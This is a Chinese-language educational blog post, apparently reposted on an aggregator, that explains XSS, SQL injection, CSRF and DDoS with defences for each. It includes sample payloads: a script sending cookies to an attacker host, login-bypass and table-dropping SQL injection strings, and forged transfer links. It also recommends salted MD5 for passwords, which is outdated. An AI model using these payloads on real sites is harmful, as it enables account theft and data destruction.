常见的攻击手段及其防御方式
生活随笔
收集整理的這篇文章主要介紹了
常见的攻击手段及其防御方式
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
?
本文簡單介紹幾種常見的攻擊手段及其防御方式
- XSS(跨站腳本攻擊)
- CSRF(跨站請求偽造)
- SQL注入
- DDOS
XSS
概念
- 全稱是跨站腳本攻擊(Cross Site Scripting),指攻擊者在網(wǎng)頁中嵌入惡意腳本程序。
案列
- 比如說我寫了一個博客網(wǎng)站,然后攻擊者在上面發(fā)布了一個文章,內(nèi)容是這樣的?<script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我沒有對他的內(nèi)容進行處理,直接存儲到數(shù)據(jù)庫,那么下一次當(dāng)其他用戶訪問他的這篇文章的時候,服務(wù)器從數(shù)據(jù)庫讀取后然后響應(yīng)給客戶端,瀏覽器執(zhí)行了這段腳本,然后就把該用戶的cookie發(fā)送到攻擊者的服務(wù)器了。
被攻擊的原因
- 用戶輸入的數(shù)據(jù)變成了代碼,比如說上面的<script>,應(yīng)該只是字符串卻有了代碼的作用。
預(yù)防
- 將輸入的數(shù)據(jù)進行轉(zhuǎn)義處理,比如說講 < 轉(zhuǎn)義成<;
SQL注入
概念
- 通過sql命令偽裝成正常的http請求參數(shù),傳遞到服務(wù)器端,服務(wù)器執(zhí)行sql命令造成對數(shù)據(jù)庫進行攻擊
案例
- ' or '1'= '1。這是最常見的sql注入攻擊,當(dāng)我們輸如用戶名 jiajun ,然后密碼輸如'or '1'= '1的時候,我們在查詢用戶名和密碼是否正確的時候,本來要執(zhí)行的是select * from user where username='' and password='',經(jīng)過參數(shù)拼接后,會執(zhí)行sql語句?select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了。
- 但是如果再嚴(yán)重一點,密碼輸如的是';drop table user;--,那么sql命令為select * from user where username='jiajun' and password='';drop table user;--'?這個時候我們就直接把這個表給刪除了
被攻擊的原因
- sql語句偽造參數(shù),然后在對參數(shù)進行拼接的后形成破壞性的sql語句,最后導(dǎo)致數(shù)據(jù)庫受到攻擊
預(yù)防
- 在java中,我們可以使用預(yù)編譯語句(PreparedStatement),這樣的話即使我們使用sql語句偽造成參數(shù),到了服務(wù)端的時候,這個偽造sql語句的參數(shù)也只是簡單的字符,并不能起到攻擊的作用。
- 很多orm框架已經(jīng)可以對參數(shù)進行轉(zhuǎn)義
- 做最壞的打算,即使被’拖庫‘('脫褲,數(shù)據(jù)庫泄露')。數(shù)據(jù)庫中密碼不應(yīng)明文存儲的,可以對密碼使用md5進行加密,為了加大破解成本,所以可以采用加鹽的(數(shù)據(jù)庫存儲用戶名,鹽(隨機字符長),md5后的密文)方式。
CSRF
概念
- 全稱是跨站請求偽造(cross site request forgery),指通過偽裝成受信任用戶的進行訪問,通俗的講就是說我訪問了A網(wǎng)站,然后cookie存在了瀏覽器,然后我又訪問了一個流氓網(wǎng)站,不小心點了流氓網(wǎng)站一個鏈接(向A發(fā)送請求),這個時候流氓網(wǎng)站利用了我的身份對A進行了訪問。
案列
- 這個例子可能現(xiàn)實中不會存在,但是攻擊的方式是一樣的。比如說我登錄了A銀行網(wǎng)站,然后我又訪問了室友給的一個流氓網(wǎng)站,然后點了里面的一個鏈接?www.A.com/transfer?account=666&money=10000,那么這個時候很可能我就向賬號為666的人轉(zhuǎn)了1w軟妹幣
- 注意這個攻擊方式不一定是我點了這個鏈接,也可以是這個網(wǎng)站里面一些資源請求指向了這個轉(zhuǎn)賬鏈接,比如說一個<img src="http://www.A.com/transfer?account=666&money=10000">
被攻擊的原因
- 用戶本地存儲cookie,攻擊者利用用戶的cookie進行認證,然后偽造用戶發(fā)出請求
預(yù)防
- 之所以被攻擊是因為攻擊者利用了存儲在瀏覽器用于用戶認證的cookie,那么如果我們不用cookie來驗證不就可以預(yù)防了。所以我們可以采用token(不存儲于瀏覽器)認證。
- 通過referer識別,HTTP Referer是header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請求的時候,一般會帶上Referer,告訴服務(wù)器我是從哪個頁面鏈接過來的,服務(wù)器基此可以獲得一些信息用于處理。那么這樣的話,我們必須登錄銀行A網(wǎng)站才能進行轉(zhuǎn)賬了。
DDOS
概念
- 分布式拒絕服務(wù)攻擊(Distributed Denial of Service),簡單說就是發(fā)送大量請求是使服務(wù)器癱瘓。DDos攻擊是在DOS攻擊基礎(chǔ)上的,可以通俗理解,dos是單挑,而ddos是群毆,因為現(xiàn)代技術(shù)的發(fā)展,dos攻擊的殺傷力降低,所以出現(xiàn)了DDOS,攻擊者借助公共網(wǎng)絡(luò),將大數(shù)量的計算機設(shè)備聯(lián)合起來,向一個或多個目標(biāo)進行攻擊。
案例
- SYN Flood ,簡單說一下tcp三次握手,客戶端先服務(wù)器發(fā)出請求,請求建立連接,然后服務(wù)器返回一個報文,表明請求以被接受,然后客戶端也會返回一個報文,最后建立連接。那么如果有這么一種情況,攻擊者偽造ip地址,發(fā)出報文給服務(wù)器請求連接,這個時候服務(wù)器接受到了,根據(jù)tcp三次握手的規(guī)則,服務(wù)器也要回應(yīng)一個報文,可是這個ip是偽造的,報文回應(yīng)給誰呢,第二次握手出現(xiàn)錯誤,第三次自然也就不能順利進行了,這個時候服務(wù)器收不到第三次握手時客戶端發(fā)出的報文,又再重復(fù)第二次握手的操作。如果攻擊者偽造了大量的ip地址并發(fā)出請求,這個時候服務(wù)器將維護一個非常大的半連接等待列表,占用了大量的資源,最后服務(wù)器癱瘓。
- CC攻擊,在應(yīng)用層http協(xié)議上發(fā)起攻擊,模擬正常用戶發(fā)送大量請求直到該網(wǎng)站拒絕服務(wù)為止。
被攻擊的原因
- 服務(wù)器帶寬不足,不能擋住攻擊者的攻擊流量
預(yù)防
- 最直接的方法增加帶寬。但是攻擊者用各地的電腦進行攻擊,他的帶寬不會耗費很多錢,但對于服務(wù)器來說,帶寬非常昂貴。
- 云服務(wù)提供商有自己的一套完整DDoS解決方案,并且能提供豐富的帶寬資源
總結(jié)
- 上面一共提到了4中攻擊方式,分別是xss攻擊(關(guān)鍵是腳本,利用惡意腳本發(fā)起攻擊),CSRF攻擊(關(guān)鍵是借助本地cookie進行認證,偽造發(fā)送請求),SQL注入(關(guān)鍵是通過用sql語句偽造參數(shù)發(fā)出攻擊),DDOS攻擊(關(guān)鍵是通過手段發(fā)出大量請求,最后令服務(wù)器崩潰)
- 之所以攻擊者能成功攻擊,用戶操作是一個原因,服務(wù)器端沒有做好防御是一個問題,因為無法控制用戶的操作,所以需要我們服務(wù)器端的開發(fā)做好防御。
- 沒有覺得絕對安全,只要更安全。
?
參考博客:http://www.cnblogs.com/-new/p/7135814.html
總結(jié)
以上是生活随笔為你收集整理的常见的攻击手段及其防御方式的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java 初级编程题_java基础经典编
- 下一篇: [转载]建立团队沟通协作工作方式